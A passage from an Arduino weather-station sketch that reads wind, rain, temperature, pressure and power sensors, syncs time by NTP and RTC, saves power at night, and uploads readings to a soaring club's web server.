\/\/Wind gust = gust * 2 + wind speed!!\n byte temp1; \/\/ in F\n byte hum1; \n byte pres1; \/\/Pressure in hPa minus 900\n byte temp2;\n byte volt1; \/\/Voltage * 10 (remember to divide by 10)\n byte amp1; \/\/Milliamps \/ 10 (remember to multiply by 10)\n byte volt2;\n byte amp2;\n};\n\ntime_t wxCache_time;\nbyte wxCache_count;\n#define WX_CACHE_MAX 240\n\nwxCache_struct wxCache[WX_CACHE_MAX];\n\/\/2,028 used or 6,164 free without storage\n\/\/4,428 used or 3,764 free with 4 hours storage\n\n\n\n\/\/**************************\n\/\/*** Ethernet & NTP *****\n\/\/**************************\n#include <SPI.h>\n#include <Ethernet.h>\n#include <EthernetUdp.h>\n#include <utility\/W5100.h>\n\n\/\/ Enter a MAC address for your controller below.\n\/\/ Newer Ethernet shields have a MAC address printed on a sticker on the shield\n\/\/ [MarshallProprietary] byte mac[] = { ??? };\n\/\/ Set the local static IP address to use if the DHCP fails to assign\nIPAddress ip(192, 168, IPq3, 222);\nIPAddress dnsServer(8, 8, 8, 8);\nIPAddress gateway(192, 168, IPq3, IPgw); \/\/ Must be 254 for Marshall, set at TOP of sketch since we need to check\/change often.\nIPAddress subnet(255, 255, 255, 0);\n\n\/\/ if you don't want to use DNS (and reduce your sketch size)\n\/\/ use the numeric IP instead of the name for the server:\n\/\/IPAddress server(74,125,232,128); \/\/ numeric IP for Google (no DNS)\n\/\/char server[] = \"www.google.com\"; \/\/ name address for Google (using DNS)\nchar server[] = \"www.crestlinesoaring.org\"; \/\/ Web server to connect to.\n\/\/ [MarshallProprietary]\n\n\/\/ Some debugging and record keeping variables\nbool ethStopped = true;\nunsigned long ethLastMillis = 0;\nconst int ETH_TIMEOUT = 6000;\nbyte ethTimeouts = 0;\nbyte ethConnFails = 0;\nint ethLastFailureCode = 0;\nuint8_t ethSockStatus[MAX_SOCK_NUM];\n\n\/\/ NTP (date & time) stuff\nunsigned int NTPlocalPort = 8888; \/\/ Local port to send from & listen for UDP NTP packets\nint timeZone = -7; \/\/ Pacific (Daylight = -7 \/ Standard = -8) Time (FIXME: add DST handling someday)\ntime_t pacific, utc;\nTimeChangeRule *tcr;\nTimeChangeRule usPDT = {\"PDT\", Second, Sun, Mar, 2, -420}; \/\/UTC - 7 hours\nTimeChangeRule usPST = {\"PST\", First, Sun, Nov, 2, -480}; \/\/UTC - 8 hours\nTimezone usPacific(usPDT, usPST);\n\/\/utc = now(); \/\/current time from the Time Library\n\/\/pacific = usPacific.toLocal(utc, &tcr);\n\n\nconst int NTP_PACKET_SIZE = 48;\nbyte packetBuffer[ NTP_PACKET_SIZE ];\nchar timeServer[] = \"us.pool.ntp.org\";\n\/\/ [MarshallProprietary]\n\/\/IPAddress timeServerIP(128, 138, 141, 172); \/\/time.nist.gov IP at one point\nunsigned long msNTPrequest; \/\/ miliseconds at which NTP request was made (so we can see how long it took)\n\n\n\/\/ Initialize the Ethernet client library\n\/\/ with the IP address and port of the server\n\/\/ that you want to connect to (port 80 is default for HTTP):\nEthernetClient client;\nEthernetUDP Udp;\n\n\n\/\/**************************************\n\/\/****** SD Card Reading ***************\n\/\/**************************************\n\n\/\/#include <SD.h>\n\n\/*Sd2Card card;\nSdVolume volume;\nSdFile root; \nFile logFile;\nString filename = \"log-nodate\";\n\nconst int SdChipSelect = 4;\n*\/\n\n\n\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\/\/\n\/\/Interrupt routines (these are called by the hardware interrupts, not by the main code)\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\nvoid rainIRQ()\n\/\/ Count rain gauge bucket tips as they occur\n\/\/ Activated by the magnet and reed switch in the rain gauge, attached to input D2\n{\n raintime = millis(); \/\/ grab current time\n raininterval = raintime - rainlast; \/\/ calculate interval between this and last event\n\n if (raininterval > 20) \/\/ ignore switch-bounce glitches less than 10mS after initial edge\n {\n dailyrainin += 0.011; \/\/Each dump is 0.011\" of water\n rainHour[minutes] += 0.011; \/\/Increase this minute's amount of rain\n\n rainlast = raintime; \/\/ set up for next event\n }\n}\n\nvoid wspeedIRQ()\n\/\/ Activated by the magnet in the anemometer (2 ticks per rotation), attached to input D3\n{\n if (millis() - lastWindIRQ > 20) \/\/ Ignore switch-bounce glitches less than 10ms (142MPH max reading) after the reed switch closes. Now 20ms, 70mph max.\n {\n lastWindIRQ = millis(); \/\/Grab the current time\n windClicks++; \/\/There is 1.492MPH for each click per second.\n }\n}\n\n\/\/ Watchdog timer fired, let's record a little and report it next bootup.\nISR(WDT_vect)\n{\n \/\/Serial.println(\"--==000 Entered Watchdog Interrupt Service Request Handler 000==--\");\n\n \/\/time_t lastCrashTime; \/\/Made this a volatile global variable\n\n \/\/ Get the last crash time. If it's too recent, we won't write a new time to avoid thrashing EEPROM too frequently.\n EEPROM.put(10, 1);\n\/\/ EEPROM.get(11, lastCrashTime);\n\/\/ if (recentTime > lastCrashTime + 600) {\n\/\/ EEPROM.put(10, 1); \/\/ write a \"1\" to the first byte to indicate the data in second byte is valid and the ISR triggered properly\n\/\/ EEPROM.put(11, recentTime);\n\/\/ }\n\n \/\/Serial.println(\"---===00 Done with Watchdog ISR 00===---\");\n\n while(true); \/\/ triggers the second watchdog timeout for a reset (does this actually work?)\n}\n\n\n\/**********************************************************\n * _____ ______ _______ _ _ _____ \n * \/ ____| | ____| |__ __| | | | | | __ \\ \n * | (___ | |__ | | | | | | | |__) |\n * \\___ \\ | __| | | | | | | | ___\/ \n * ____) | | |____ | | | |__| | | | \n * |_____\/ |______| |_| \\____\/ |_| \n * \n ***********************************************************\/\nvoid setup()\n{\n \/\/Serial.begin(9600);\n \/\/Serial.begin(38400);\n Serial.begin(115200);\n Serial.println();\n Serial.print(startupMessage);\n Serial.println(millis());\n\n \/\/Enable the WatchDog, 8 second timeout.\n wdt_enable(WDTO_8S);\n\n \/\/delay(300);\n\n\n if (EEPROM.read(eePowerSave) == 255) {\n Serial.println(\"EEPROM eePowerSave was 255, is this a new Arduino? Setting to false (0).\");\n EEPROM.update(eePowerSave, false);\n }\n \n \/\/ Check EEPROM to see if we should be in power save mode. If so, shut some stuff off immediately.\n\t Serial.print(\"Reading EEPROM to see power save state: \");\n if (EEPROM.read(eePowerSave)) {\n \t Serial.print(\"Shutting off Eth and Ubiquity... \");\n powerSave = true;\n\n \t pinMode(30, OUTPUT); \/\/ common GND source for \"YYD-3\" FET switches.\n digitalWrite(30, LOW); \/\/ must always be low\n\n pinMode(28, OUTPUT); \/\/ prepares Ubiquiti power control pin\n digitalWrite(28, LOW); \/\/ turns Ubiquiti off (on=HIGH \/ off=low, default=on)\n\n pinMode(8, OUTPUT); \/\/ prepares ETH power control pin\n digitalWrite(8, HIGH); \/\/ turns ETH shield off (on=low \/ off=HIGH, default=on)\n\n } else {\n\t Serial.print(\"Turning on Eth and Ubiquity... \");\n \t powerSave = false;\n\t \n pinMode(30, OUTPUT); \/\/ common GND source for \"YYD-3\" FET switches.\n digitalWrite(30, LOW); \/\/ must always be low\n\n pinMode(28, OUTPUT); \/\/ prepares Ubiquiti power control pin\n digitalWrite(28, HIGH); \/\/ turns Ubiquiti on (on=HIGH \/ off=low, default=on)\n\n pinMode(8, OUTPUT); \/\/ prepares ETH power control pin\n digitalWrite(8, LOW); \/\/ turns ETH shield on (on=low \/ off=HIGH, default=on)\n\n \t}\n Serial.println(\"Done.\");\n\n\n\n \/\/Weather Station stuff\n pinMode(STAT1, OUTPUT); \/\/Status LED Blue\n pinMode(STAT2, OUTPUT); \/\/Status LED Green\n\n pinMode(WSPEED, INPUT_PULLUP); \/\/ input from wind meters windspeed sensor\n pinMode(RAIN, INPUT_PULLUP); \/\/ input from wind meters rain gauge sensor\n\n pinMode(REFERENCE_3V3, INPUT);\n pinMode(LIGHT, INPUT);\n\n \/\/Configure the humidity sensor\n Serial.print(F(\"Starting Sparkfun W-Shield Humidity sensor, took \")); usTemp = micros();\n myHumidity.begin();\n Serial.print(micros() - usTemp); Serial.println(\"us\");\n\n \/\/Setup INA219 voltage and current sensor(s)\n Serial.print(F(\"Starting INA219a Volt & current sensor A: \")); usTemp = micros();\n ina219a.begin();\n Serial.print(micros() - usTemp); Serial.println(\"us.\");\n\n Serial.print(F(\"Starting INA219b Volt & current sensor B: \")); usTemp = micros();\n ina219b.begin();\n Serial.print(micros() - usTemp); Serial.println(\"us.\");\n\n \/\/Setup BME280 temperatue and humidity sensor(s)\n Serial.print(F(\"Starting BME280a Temperature & Humidity sensor A, status: 0x\")); usTemp = micros();\n bme280a.settings.commInterface = I2C_MODE;\n bme280a.settings.I2CAddress = bme280a_HWaddr;\n bme280a.settings.runMode = 3;\n bme280a.settings.tempOverSample = 1; \/\/oversample rate: 1-5 equate to 1, 2, 4, 8, 16\n bme280a.settings.pressOverSample = 1; \/\/oversample rate: 1-5 equate to 1, 2, 4, 8, 16\n bme280a.settings.humidOverSample = 1; \/\/oversample rate: 1-5 equate to 1, 2, 4, 8, 16\n Serial.print(bme280a.begin(), HEX);\n Serial.print(\", took \"); Serial.print(micros() - usTemp); Serial.println(\"us.\");\n\n \/\/Configure the Sparkfun pressure sensor\n Serial.print(F(\"Starting Sparkfun pressure, took \")); msTemp = millis();\n delay(250); \/\/ Little delay in case it helps\n myPressure.begin(); \/\/ Get sensor online\n myPressure.setModeBarometer(); \/\/ Measure pressure in Pascals from 20 to 110 kPa\n myPressure.setOversampleRate(7); \/\/ Set Oversample to the recommended 128\n myPressure.enableEventFlags(); \/\/ Enable all three pressure and temp event flags\n pressure = myPressure.readPressure(); \/\/ Get an initial reading so we can report in the first minute\n oldPressure = pressure; \/\/ Make sure the \"pressure delta\" is zero at startup\n Serial.print(millis() - msTemp); Serial.println(\"ms.\");\n\n seconds = 0;\n lastSecond = millis();\n\n \/\/ attach external interrupt pins to IRQ functions\n attachInterrupt(0, rainIRQ, FALLING);\n attachInterrupt(1, wspeedIRQ, FALLING);\n\n \/\/ turn on interrupts\n interrupts();\n\n Serial.println();\n Serial.print(F(\"Startup done at \"));\n Serial.print(millis());\n Serial.println(\"ms!\");\n\n loopCounter = 0;\n loopDelta = 0;\n\n \/\/ DEBUG: populates the array so it takes up RAM. Enough for 4 hours of data if WX_CACHE_MAX is 240.\n for (byte i = 0; i < WX_CACHE_MAX; i++) {\n wxCache[i].ws = i;\n \/\/now 4428 used 3764 free\n }\n\n \/\/**********************************\n \/\/***** SD Card Stuff *************\n \/\/**********************************\n\n \/*\n Serial.print(\"\\nInitializing SD card in 250ms... \");\n delay(250);\n wdt_reset();\n\n pinMode(SS, OUTPUT);\n if (!SD.begin(SdChipSelect)) {\n Serial.println(\"SD Failed to start!!\");\n }\n \/\/File startLog = SD.open(\"start.log\");\n File root = SD.open(\"\/\");\n printDirectory(root, 0);\n root.close();\n *\/\n\n \/\/ we'll use the initialization code from the utility libraries\n \/\/ since we're just testing if the card is working!\n \/*\n if (!card.init(SPI_HALF_SPEED, SdChipSelect)) {\n Serial.println(\"initialization failed. Things to check:\");\n Serial.println(\"* is a card inserted?\");\n Serial.println(\"* is your wiring correct?\");\n Serial.println(\"* did you change the chipSelect pin to match your shield or module?\");\n } else {\n Serial.println(\"Wiring is correct and a card is present.\");\n \n \/\/ print the type of card\n Serial.print(\"\\nCard type: \");\n switch (card.type()) {\n case SD_CARD_TYPE_SD1:\n Serial.println(\"SD1\");\n break;\n case SD_CARD_TYPE_SD2:\n Serial.println(\"SD2\");\n break;\n case SD_CARD_TYPE_SDHC:\n Serial.println(\"SDHC\");\n break;\n default:\n Serial.println(\"Unknown\");\n }\n \n \/\/ Now we will try to open the 'volume'\/'partition' - it should be FAT16 or FAT32\n if (!volume.init(card)) {\n Serial.println(\"Could not find FAT16\/FAT32 partition.\\nMake sure you've formatted the card\");\n return;\n }\n \n \n \/\/ print the type and size of the first FAT-type volume\n uint32_t volumesize;\n Serial.print(\"\\nVolume type is FAT\");\n Serial.println(volume.fatType(), DEC);\n Serial.println();\n \n volumesize = volume.blocksPerCluster(); \/\/ clusters are collections of blocks\n volumesize *= volume.clusterCount(); \/\/ we'll have a lot of clusters\n volumesize *= 512; \/\/ SD card blocks are always 512 bytes\n Serial.print(\"Volume size (bytes): \");\n Serial.println(volumesize);\n Serial.print(\"Volume size (Kbytes): \");\n volumesize \/= 1024;\n Serial.println(volumesize);\n Serial.print(\"Volume size (Mbytes): \");\n volumesize \/= 1024;\n Serial.println(volumesize);\n \n \n Serial.println(\"\\nFiles found on the card (name, date and size in bytes): \");\n root.openRoot(volume);\n \n \/\/ list all files in the card with date and size\n root.ls(LS_R | LS_DATE | LS_SIZE);\n } *\/\n\n \/**********************************************\n * EEPROM READ, see if we did a Watchdog crash!\n **********************************************\/\n\n if (EEPROM.read(10)) {\n \/\/We had a watchdog event. It contains a time_t with the time. Save it.\n \/\/example: return ((four << 0) & 0xFF) + ((three << 8) & 0xFFFF) + ((two << 16) & 0xFFFFFF) + ((one << 24) & 0xFFFFFFFF);\n\n \/\/ Copy the saved date & time into reportWatchdog so we can repeatedly use it until we have a successful upload\n EEPROM.get(11, reportWatchdog);\n\n \/\/Print the date & time the watchdog was tripped.\n Serial.println();\n Serial.print(F(\"Watchdog caused the last reboot, at: \"));\n Serial.print(year(reportWatchdog));\n Serial.print(\"\/\");\n Serial.print(month(reportWatchdog));\n Serial.print(\"\/\");\n Serial.print(day(reportWatchdog));\n Serial.print(charComma);\n Serial.print(hour(reportWatchdog));\n Serial.print(\":\");\n Serial.print(minute(reportWatchdog));\n Serial.print(\":\");\n Serial.print(second(reportWatchdog));\n Serial.println();\n }\n\n Serial.println();\n Serial.println(F(\"Beginning Ethernet.\"));\n Serial.println();\n\n \/\/**********************************\n \/\/***** Ethernet Stuff *************\n \/\/**********************************\n\n pinMode(SS, OUTPUT);\n \/\/ Ethernet is slow, let's delay a bit, then reset the watchdog often\n delay(250);\n wdt_reset();\n wdt_disable();\n Serial.print(\"Watchdog was reset and disabled at \");\n Serial.print(millis());\n Serial.println(\"ms for Ethernet\");\n\n \/\/ Ethernet static for testing, maybe permanent. DHCP method is commented out a few lines down.\n Ethernet.begin(mac, ip, dnsServer, gateway, subnet);\n\n \/\/ start the Ethernet connection:\n \/* if (Ethernet.begin(mac) == 0) {\n Serial.println(F(\"Failed to configure Ethernet using DHCP\"));\n \/\/ try to congifure using IP address instead of DHCP:\n Ethernet.begin(mac, ip, dnsServer, gateway, subnet);\n } *\/\n wdt_enable(WDTO_8S);\n\n \/\/ give the Ethernet shield a second to initialize:\n delay(1000);\n Serial.print(millis());\n Serial.print(F(\"ms: Started Ethernet (watchdog enabled). Local IP is \"));\n Serial.println(Ethernet.localIP());\n\n \/\/ Request the date & time from RTC or NTP\n wdt_reset();\n if (RTC.get()) {\n \/\/ If we have a working RTC, let's just use it. Every few minutes we'll check for NTP too.\n Serial.println(F(\"RTC selected as time source.\"));\n setSyncProvider(RTC.get);\n setSyncInterval(300); \/\/ Update system time with the RTC because it actually slews pretty fast; 4 second an hour is typical.\n } else {\n \/\/ 0 Means the RTC didn't work, set NTP as the sync provider, with an agressive Sync Interval because we depend on it.\n Serial.print(F(\"No RTC? Sending NTP packet at \"));\n Serial.println(millis());\n setSyncProvider(getNtpTime); \/\/ Use the time library's setSyncProvider to check periodically for time\n setSyncInterval(60); \/\/ Check for time updates every minute. This gets set to \"less often\" once we have a time fix.\n\n }\n\n if (timeStatus() == timeSet) {\n if (CheckDST()) {\n timeZone = -7;\n } else {\n timeZone = -8;\n }\n }\n\n \/* NOSD\n if (timeStatus() == timeSet) {\n filename = \"log\" + year() + month() + day();\n } else {\n filename = \"log-nodate\";\n }\n logFile = SD.open(filename, FILE_WRITE);\n NOSD *\/\n\n \/\/Print a header row.\n Serial.println(F(\"time , date ,w1avg,wmax,dir, tmp, hum, baro , dv ,rain,wnow, tmp, hum, 5v , 5v ,lght, uptime , FreeMem ,Raw Wdir, RTC time, Misc error messages\"));\n\/\/ 18:22,12\/22\/2016,02.16,13.1, -1,76.9,41.8,1009.6, 0.0,0.00,00.7,76.9,41.8,4.33,4.33,0.03,0.00:01:20,14532426,1928538\n\/\/ 20:14,8\/1\/2017,00.00,00.0,-10,89.4,32.1,976.5,-0.01,-LR-,-LR-,89.4,32.1,3.95,38.14,0.07,0.07:57:55,5264,1023\n\n}\n\n\/*\n ***************************************\n _ ____ ____ _____ \n | | \/ __ \\ \/ __ \\ | __ \\ \n | | | | | | | | | | | |__) |\n | | | | | | | | | | | ___\/ \n | |____ | |__| | | |__| | | | \n |______| \\____\/ \\____\/ |_| \n \n ***************************************\n *\/\n\n\nvoid loop()\n{ \n \/\/Do \"once a second stuff\", mostly weather. Also keep track of which minute it is.\n if(millis() - lastSecond >= 1000)\n {\n digitalWrite(STAT1, HIGH); \/\/Blink stat LED to show how long we're doing the \"once a second\" work\n\n lastSecond += 1000;\n wdt_reset(); \/\/I think once a second is enough for our 8 second watchdog.\n\n \/\/Calc the wind speed and direction every second for 120 second to get 2 minute average\n float currentSpeed;\n currentSpeed = get_wind_speed();\n\n \/\/vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv\n \/\/FIXME: Generate a random wind speed for TESTING\n \/\/float fRand = (float)random(-30.0, 32.0);\n \/\/fRand = fRand \/ 10.0;\n \/\/currentSpeed = windspeedmph + fRand; \/\/For testing, wind from 0-15 randomly rising\/falling up to 3mph per sec\n \/\/currentSpeed = constrain(currentSpeed, 0, 15);\n \/\/FIXME: done with the random wind speed\n \/\/^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n windspeedmph = currentSpeed; \/\/update global variable for windspeed when using the printWeather() function\n int currentDirection = get_wind_direction();\n\n \/\/Calculate 1 min moving average wind speed instead of using an array\n float windInc = currentSpeed \/ WIND_SPEED_AVG_SIZE;\n float windDec = windSpeedAvg \/ WIND_SPEED_AVG_SIZE;\n windSpeedAvg = windSpeedAvg - windDec + windInc;\n\n \/\/Check to see if this is a gust for the minute\n if(currentSpeed > windgust_10m[minutes_10m])\n {\n windgust_10m[minutes_10m] = currentSpeed;\n windgustdirection_10m[minutes_10m] = currentDirection;\n }\n if(currentSpeed > windgust_5m[minutes_5m])\n {\n windgust_5m[minutes_5m] = currentSpeed;\n windgustdirection_5m[minutes_5m] = currentDirection;\n }\n\n\n \/\/Check to see if this is a gust for the day (assuming daily reboots; this never resets on its own).\n if(currentSpeed > windgustmph)\n {\n windgustmph = currentSpeed;\n windgustdir = currentDirection;\n }\n\n \/\/ Once-a-minute tasks\n if(++seconds > 59)\n {\n seconds = 0;\n if(++minutes > 59) \n {\n minutes = 0;\n if(++hours > 23)\n {\n hours = 0;\n ++days;\n }\n }\n if(++minutes_10m > 9) minutes_10m = 0;\n if(++minutes_5m > 4) minutes_5m = 0;\n\n \/\/ Zero out this minute's rainfall and gust amounts\n rainHour[minutes] = 0;\n windgust_10m[minutes_10m] = 0;\n windgust_5m[minutes_5m] = 0;\n\n \/\/ Set the RTC if it needs it and we have good time from NTP\n \/\/ FIXME: We should use RTC first and only occasionally check it against NTP.\n if (timeStatus() == timeSet) {\n \/\/ Long as we've got a good time source, only need to update every 10 minutes.\n setSyncInterval(600);\n recentTime = now(); \/\/Update this once a minute. It will be used in the Watchdog ISR to give a rough date\/time estimate.\n if (minute() % 10 == 0) {\n unsigned int diffNTPRTC = 0;\n time_t timeRTC = RTC.get();\n time_t timeNTP = getNtpTime();\n if ((timeRTC == 0) or (timeNTP == 0)) {\n \/\/ RTC and NTP will both return zero on error. Don't bother if either one is invalid \/ unreadable.\n diffNTPRTC = 0;\n } else if (timeNTP > timeRTC) {\n diffNTPRTC = timeNTP - timeRTC;\n } else {\n diffNTPRTC = timeRTC - timeNTP;\n }\n if (diffNTPRTC > 0) {\n Serial.print(F(\"NTP and RTC differ by \"));\n Serial.print(diffNTPRTC);\n if (diffNTPRTC == 1) Serial.print(\" second.\");\n if (diffNTPRTC > 1) Serial.print(\" seconds.\");\n if (diffNTPRTC > 5) {\n Serial.print(\"RTC time is \");\n Serial.print(timeRTC);\n Serial.print(\", setting RTC to \");\n Serial.print(timeNTP);\n byte rtcSetStatus;\n rtcSetStatus = RTC.set(timeNTP);\n if (rtcSetStatus) {\n Serial.print(\" FAILED. Error code: \");\n Serial.print(rtcSetStatus);\n } else {\n Serial.print(\" done.\");\n setTime(timeNTP);\n }\n }\n Serial.println();\n }\n if (CheckDST()) {\n timeZone = -7;\n } else {\n timeZone = -8;\n }\n } \/\/ END of Every 10 Minutes, while the correct date & time are known\n \/\/ If the log filename does not have a date & time,\n \/\/ open a new log filename with the date & time since we know that now.\n \/*\n if (filename == \"log-nodate\") {\n logSome(\"Date found at: \" + year() + month() + day());\n logOneLine(\" @ \" + hour() + minute() + second());\n logFile.close();\n filename = \"log\" + year() + month() + day();\n logFile = SD.open(filename, FILE_WRITE);\n } *\/\n } else if (timeStatus() == timeNeedsSync) {\n \/\/If we don't have valid time, check for time every 2 minutes. Otherwise it's normally once an hour.\n setSyncInterval(120);\n logSome(\" time sync lost, interval set to 120s. \");\n \n } \/\/ END of timeStatus() == timeSet\n\n \/\/ Test with a random wait to timeout the watchdog and see how it handles it.\n\/\/ long randomWatchdogTripper;\n\/\/ randomWatchdogTripper = random(12000);\n\/\/ Serial.print(\"----**** Randomly waiting to try to trip the watchdog ****----, this many ms: \");\n\/\/ Serial.println(randomWatchdogTripper);\n\/\/ delay(randomWatchdogTripper);\n\/\/ Serial.println(\"----**** I guess we didn't die this time. ****----\");\n \/\/ Test with a random wait to timeout the watchdog and see how it handles it.\n\n \/\/ Check every minute that we know sunrise\/sunset for today. If not, calc it.\n if (day() > sunriseDay) getRiseSet();\n\n\t \n \/* * * * * * * * * * * * * * * * * *\n\t * P O W E R S A V E\n\t * P O W E R S A V E\n\t * * * * * * * * * * * * * * * * * *\/\n \/\/ Turn off \/ on some peripherals at night & morning\n int minutesToday = hour() * 60 + minute();\n\t Serial.print(\"Minute of day is: \");\n\t Serial.print(minutesToday);\n if ( (minutesToday < sunrise) or (minutesToday > sunset - 60) ) { \/\/ jjj removed 60 to save even more if ( (minutesToday < sunrise - 60) or (minutesToday > sunset - 60) ) {\n\n Serial.print(\", which is Night time. We will switch to day at minute #\");\n\t\tSerial.println(sunrise); \/\/ jjj removed 60 to save even more Serial.println(sunrise - 60); \n \/\/ We're not between \"half an hour before sunrise\" and sunset, so turn stuff off.\n \/\/ First set variables and record in eeprom that we're in power save mode.\n if (!powerSave) {\n powerSave = true;\n if (!EEPROM.read(eePowerSave)) EEPROM.update(eePowerSave, true);\n }\n\t\t\n pinMode(28, OUTPUT); \/\/ prepares Ubiquiti power control pin\n digitalWrite(28, LOW); \/\/ turns Ubiquiti off (on=HIGH \/ off=low, default=on)\n\n pinMode(8, OUTPUT); \/\/ prepares ETH power control pin\n digitalWrite(8, HIGH); \/\/ turns ETH shield off (on=low \/ off=HIGH, default=on)\n\n } else {\n\t Serial.print(\", which is Day time. We will switch to night at minute #\");\n\t\tSerial.println(sunset - 60);\n\t \/\/ Otherwise, make sure things are TURNED ON\n if (powerSave) {\n powerSave = false;\n if (EEPROM.read(eePowerSave)) EEPROM.update(eePowerSave, false);\n\t\t \n\t\t \/\/if powerSave was set, that means we're transitioning to daytime now.\n\t\t \/\/ Until I figure out how to restart the Ethernet, just force a watchdog timeout with delays.\n\t\t pinMode(28, OUTPUT); \/\/ prepares Ubiquiti power control pin\n digitalWrite(28, HIGH); \/\/ turns Ubiquiti on (on=HIGH \/ off=low, default=on)\n\n pinMode(8, OUTPUT); \/\/ prepares ETH power control pin\n digitalWrite(8, LOW); \/\/ turns ETH shield on (on=low \/ off=HIGH, default=on)\n\n\t\t Serial.println(F(\" ! ! ! We just switched to DAY. Since we can't reset ETHERNET very well, we are rebooting soon!!! ! ! \"));\n\t\t delay(10000);\n\t\t delay(20000);\n\t\t delay(30000);\n }\n \t\t\n\t\t\/\/This below kind of doesn't count, because of the reboot above. We really should never get here.\n\t\t pinMode(28, OUTPUT); \/\/ prepares Ubiquiti power control pin\n digitalWrite(28, HIGH); \/\/ turns Ubiquiti on (on=HIGH \/ off=low, default=on)\n\n pinMode(8, OUTPUT); \/\/ prepares ETH power control pin\n digitalWrite(8, LOW); \/\/ turns ETH shield on (on=low \/ off=HIGH, default=on)\n\n } \/\/ End of night\/day figuring out (for power save)\n\n \n } \/\/ END of ONCE A MINUTE tasks\n\n\n \/\/Calculate the weather every second, for building averages and stuff. Only print\/report it every minute, typically.\n calcWeather(); \/\/ Should be called once a second to build averages and stuff.\n if (justBooted) {\n \/\/Once the time is reporting that it's synced and it's been at least 15 secs since boot, start reporting weather.\n if ((seconds > 15) and (timeStatus() == timeSet)) justBooted = false;\n } else {\n if (second() == 0) {\n \/\/if (true) { \/\/ for STRESS TEST we go once a second.\n \/\/ Once a minute, on zero seconds (by NTP\/RTC time, not since boot time), upload the weather.\n ShowSockStatus(); \/\/DEBUG: print IP Socket status on serial.\n \/\/printWeather(); \/\/DEBUG: print a slightly different weather string on serial.\n Serial.println(getWeatherString());\n uploadWeather();\n }\n if ((second() == 25) and (minutes == 55)) {\n \/\/refresh DHCP once an hour if we're using it. NTP\/RTC second() so we don't do it same time as an upload. Runtime minutes so it's after an hour of running.\n Ethernet.maintain();\n }\n }\n\n \/** \n ** Diagnostic, print the weather string to serial output periodically\n ** use getWeatherString to save memory and show exactly what gets uploaded,\n ** or printWeather() to get more diagnostics but not necessarily what's uploaded.\n **\/\n \/\/if (justBooted) Serial.println(getWeatherString()); \/\/ print every second for the first 15 secs after booting.\n \/\/else if (seconds % 10 == 0) Serial.println(getWeatherString()); \/\/ then every 10 seconds\n if (justBooted and seconds % 3 == 0) printWeather(); \/\/ print every second for the first 15 secs after booting.\n else if (0) { \/\/ print the seconds on serial\n Serial.write(8);\n if (second() > 9) {\n Serial.write(8);\n }\n Serial.print(second());\n }\n\n\n digitalWrite(STAT1, LOW); \/\/Turn off WeatherShield's blue stat LED\n \n } \/\/ END of ONCE A SECOND loop (every 1000ms)\n\n\n\n \/\/ This runs every loop, which is usually 10,000's of times a second.\n if (!ethStopped) {\n \/\/ if there are incoming bytes available from the server,\n \/\/ read them and dump them to serial up to 250 bytes at a time before main loop()ing:\n for (byte b=0; b < 250; b++) {\n if (client.available()) {\n ethLastMillis = millis();\n char c = client.read();\n Serial.print(c);\n } else {\n break;\n }\n }\n\n \/\/ if the server's disconnected, stop the client:\n if (!client.connected()) {\n Serial.println();\n Serial.println(F(\" Arduino Ethernet disconnected.\"));\n if (reportWatchdog) {\n Serial.println(F(\" Clearing watchdog EEPROM flag\"));\n reportWatchdog = 0;\n EEPROM.update(10,0); \/\/Clear the watchdog-happened bit once we have reason to believe it's been reported.\n }\n client.stop();\n ethStopped = true;\n ethLastFailureCode = 0;\n justRestarted = false; \/\/reset this HERE so it stays \"true\" until a successful ethernet connection has happened.\n\n \/\/ If it's been TIMEOUT (usually 6) seconds since we last heard something, just close the connection.\n } else if ((millis() - ethLastMillis) > ETH_TIMEOUT) {\n Serial.println();\n logOneLine(F(\" Arduino Ethernet TIMEOUT! Closing.\"));\n client.stop();\n ethStopped = true;\n ethTimeouts++;\n }\n } \/\/END if(!ethStopped)\n\n loopCounter++;\n} \/\/ END OF LOOP()\n\n\nvoid getRiseSet()\n{\n \/\/ Calculate sunrise and sunset, based on Los Angeles. Close enough.\n \/\/ From http:\/\/forum.arduino.cc\/index.php\/topic,66426.msg487457.html#msg487457\n usTemp = micros();\n float common = cos( ((month()-1)*30.5+day() + 8 ) \/ 58.091554);\n sunrise = 349.5 + 66.5 * common;\n sunset = 1078.5 - 69.5 * common;\n if (CheckDST()) {\n sunrise = sunrise + 60;\n sunset = sunset + 60;\n }\n sunriseDay = day();\n Serial.println();\n Serial.print(\"Sunrise today is \"); Serial.print(sunrise); Serial.println(\" minutes after midnight.\");\n Serial.print(\"Sunset today is \" ); Serial.print(sunset); Serial.println(\" minutes after midnight.\");\n Serial.print(\" Took \"); Serial.print(micros() - usTemp); Serial.println(\"us to calculate.\");\n Serial.println();\n}\n\nboolean CheckDST(){\n\/*\nStarts: Second Sunday in March\nEnds: First Sunday in November\nFrom: http:\/\/forum.arduino.cc\/index.php?topic=66426.15\n*\/ \n \/\/January, february, and december are out.\n if (month() < 3 || month() > 11) { return false; }\n \/\/April to October are in\n if (month() > 3 && month() < 11) { return true; }\n int previousSunday = day() - weekday();\n \/\/In march, we are DST if our previous sunday was on or after the 8th.\n if (month() == 3) { return previousSunday >= 8; }\n \/\/In november we must be before the first sunday to be dst.\n \/\/That means the previous sunday must be before the 1st.\n return previousSunday <= 0;\n}\n\n\/\/Calculates each of the variables that wunderground is expecting\n\/\/Expects to be called once a second, bases some calculations on that.\nvoid calcWeather()\n{\n \/\/Calc winddir\n winddir = get_wind_direction();\n\n \/\/Calc windspeed\n \/\/windspeedmph = get_wind_speed(); \/\/This is calculated in the main loop on line 179\n\n \/\/Calc windgustmph\n \/\/Calc windgustdir\n \/\/These are calculated in the main loop\n\n \/\/Calc windspdmph_avg2m\n\/* float temp = 0;\n for(int i = 0 ; i < 120 ; i++)\n temp += windspdavg[i];\n temp \/= 120.0;\n windspdmph_avg2m = temp;\n*\/\n\n \/\/Calc winddir_avg2m, Wind Direction\n \/\/You can't just take the average. Google \"mean of circular quantities\" for more info\n \/\/We will use the Mitsuta method because it doesn't require trig functions\n \/\/And because it sounds cool.\n \/\/Based on: http:\/\/abelian.org\/vlf\/bearings.html\n \/\/Based on: 